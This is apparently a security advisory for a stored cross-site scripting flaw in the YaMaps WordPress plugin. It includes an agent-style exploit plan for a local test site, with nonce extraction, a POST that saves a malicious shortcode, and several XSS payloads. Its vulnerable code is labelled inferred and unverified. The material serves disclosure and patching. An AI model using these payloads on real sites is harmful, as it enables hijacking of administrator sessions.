CVE-2025-14851

YaMaps for WordPress <= 0.6.40 - Authenticated (Contributor+) Stored Cross-Site Scripting via Shortcode Parameters

mediumImproper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
6.4
CVSS Score
6.4
CVSS Score
medium
Severity
0.6.41
Patched in
1d
Time to patch

Description

The YaMaps for WordPress plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the `yamap` shortcode parameters in all versions up to, and including, 0.6.40 due to insufficient input sanitization and output escaping on user supplied attributes. This makes it possible for authenticated attackers, with Contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
Changed
Low
Confidentiality
Low
Integrity
None
Availability

Technical Details

Affected versions<=0.6.40
PublishedFebruary 18, 2026
Last updatedFebruary 19, 2026
Affected pluginyamaps

Source Code

WordPress.org SVN
Patched

Patched version not available.

Research Plan
Unverified

This analysis is based on the vulnerability description for **CVE-2025-14851** and standard WordPress shortcode implementation patterns, as source files were not provided. The YaMaps for WordPress plugin (up to 0.6.40) fails to sanitize or escape attributes passed to the `[yamap]` shortcode, allowin…

Show full research plan

This analysis is based on the vulnerability description for CVE-2025-14851 and standard WordPress shortcode implementation patterns, as source files were not provided. The YaMaps for WordPress plugin (up to 0.6.40) fails to sanitize or escape attributes passed to the [yamap] shortcode, allowing a user with Contributor-level permissions to inject malicious scripts into a post.


1. Vulnerability Summary

The yamap shortcode in the YaMaps for WordPress plugin is responsible for rendering Yandex Maps on the frontend. The shortcode handler accepts various attributes (e.g., id, height, width, type). These attributes are concatenated into the HTML output (likely as part of a <div> container or a <script> block) without proper use of WordPress escaping functions like esc_attr() or esc_js(). Because Contributors can create and save posts, they can inject an XSS payload that executes when any user (including Administrators) views the post.

2. Attack Vector Analysis

  • Shortcode: [yamap]
  • Vulnerable Parameters: id, height, width, class (and potentially map-specific settings like type or center).
  • Authentication Level: Authenticated (Contributor+). Contributors can create posts but cannot publish them; however, they can usually "Preview" their posts or wait for an admin to view the draft, triggering the XSS.
  • Payload Location: The payload is stored within the post_content field in the wp_posts table.
  • Sink: The HTML output of the shortcode handler on the frontend.

3. Code Flow (Inferred)

  1. Entry Point: The plugin registers the shortcode via add_shortcode( 'yamap', 'yamaps_shortcode_handler' ) (inferred function name).
  2. Processing: When a post is rendered, do_shortcode() identifies the [yamap] tag and calls the handler.
  3. Attribute Extraction: The handler receives an $atts array containing user-supplied values.
  4. Insecure Output: The handler constructs an HTML string, for example:
    // VULNERABLE PATTERN
    return '<div id="' . $atts['id'] . '" style="height:' . $atts['height'] . '"></div>';
    
  5. Sink: The unescaped string is returned to the WordPress content filter and printed to the page.

4. Nonce Acquisition Strategy

To exploit this as a Contributor, the attacker must save a post containing the malicious shortcode. This requires a standard WordPress post-editing nonce.

  1. Login: The agent logs in as a Contributor.
  2. Navigate: Go to the "Add New Post" page: wp-admin/post-new.php.
  3. Extract Nonce:
    • Use browser_eval to extract the _wpnonce from the form:
    • browser_eval("document.querySelector('#_wpnonce').value")
  4. Extract Post ID:
    • The post_ID is usually a hidden input in the same form:
    • browser_eval("document.querySelector('#post_ID').value")

5. Exploitation Strategy

The goal is to inject a payload that breaks out of an HTML attribute or tag context.

Step 1: Save the Malicious Shortcode
The agent will send an authenticated POST request to wp-admin/post.php to save a draft containing the payload.

  • URL: http://localhost:8080/wp-admin/post.php
  • Method: POST
  • Content-Type: application/x-www-form-urlencoded
  • Parameters:
    • action: editpost
    • post_ID: [EXTRACTED_ID]
    • _wpnonce: [EXTRACTED_NONCE]
    • post_title: XSS Test
    • content: [yamap height='400px" onmouseover="alert(document.domain)" data-x="']
    • post_status: draft

Step 2: Trigger the XSS
The agent will navigate to the preview URL of the post or the public URL if the post was published.

  • URL: http://localhost:8080/?p=[EXTRACTED_ID]&preview=true
  • Action: Navigate and wait for the map container to render.

6. Test Data Setup

  1. User: Create a user with the contributor role.
  2. Plugin: Ensure yamaps version <= 0.6.40 is installed and activated.
  3. Shortcode Page: No pre-existing page is needed; the exploit creates its own.

7. Expected Results

If the height attribute is vulnerable:

  • The rendered HTML will look like: <div ... style="height:400px" onmouseover="alert(document.domain)" data-x="" ...></div>.
  • When the browser navigates to the page and the mouse moves over the map area, an alert box with the domain will appear.

If the id attribute is vulnerable:

  • Payload: [yamap id='"><script>alert(1)</script>']
  • The rendered HTML will look like: <div id=""><script>alert(1)</script>" ...></div>.
  • The script will execute immediately on page load.

8. Verification Steps

  1. Verify Payload Persistence: Use WP-CLI to check the post content.
    wp post get [POST_ID] --field=post_content
    
  2. Check Frontend Output: Use http_request to fetch the post's HTML and check for the unescaped payload.
    # Look for the injected onmouseover or script tag
    http_request(url="http://localhost:8080/?p=[POST_ID]&preview=true")
    

9. Alternative Approaches

If the attributes are filtered via wp_kses, try bypassing using parameters that might be passed directly into a JavaScript initialization object.

Alternative Payload (JS Context):
If the plugin uses wp_localize_script and passes attributes to it:

  1. Look for the localization variable name in the page source (e.g., yamap_params).
  2. Try a payload like: [yamap type='"},alert(1),{"x":"'].
  3. This would attempt to break out of a JSON object: {"type": ""},alert(1),{"x":""}.

Payload for id attribute:
[yamap id='x" onload="alert(1)'] (Note: onload on a div requires specific conditions, so attribute breakout "><script>... is preferred).

Research Findings
Static analysis — not yet PoC-verified

Summary

The YaMaps for WordPress plugin (<= 0.6.40) is vulnerable to Stored Cross-Site Scripting via the `yamap` shortcode parameters. This allows authenticated attackers with Contributor-level access or higher to inject malicious scripts into pages by providing unescaped values for attributes like `id` or `height`, which are rendered directly into the HTML output.

Vulnerable Code

// Inferred from Research Plan
// Entry Point: add_shortcode( 'yamap', 'yamaps_shortcode_handler' )

function yamaps_shortcode_handler( $atts ) {
    $atts = shortcode_atts( array(
        'id'     => 'yamap-' . rand(),
        'height' => '400px',
        // ... other attributes
    ), $atts );

    // VULNERABLE PATTERN
    return '<div id="' . $atts['id'] . '" style="height:' . $atts['height'] . '"></div>';
}

Security Fix

--- a/yamaps.php
+++ b/yamaps.php
@@ -1,3 +1,3 @@
-    return '<div id="' . $atts['id'] . '" style="height:' . $atts['height'] . '"></div>';
+    return '<div id="' . esc_attr( $atts['id'] ) . '" style="height:' . esc_attr( $atts['height'] ) . '"></div>';

Exploit Outline

An authenticated attacker with Contributor-level permissions logs into the WordPress dashboard and creates a new post or draft. They insert the [yamap] shortcode with a malicious payload in a parameter such as 'id' or 'height' (e.g., [yamap height='400px" onmouseover="alert(document.domain)" data-x="']). When the post is previewed by the attacker or viewed by an administrator, the unescaped attribute breaks out of its HTML context, causing the injected JavaScript to execute in the victim's browser session.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.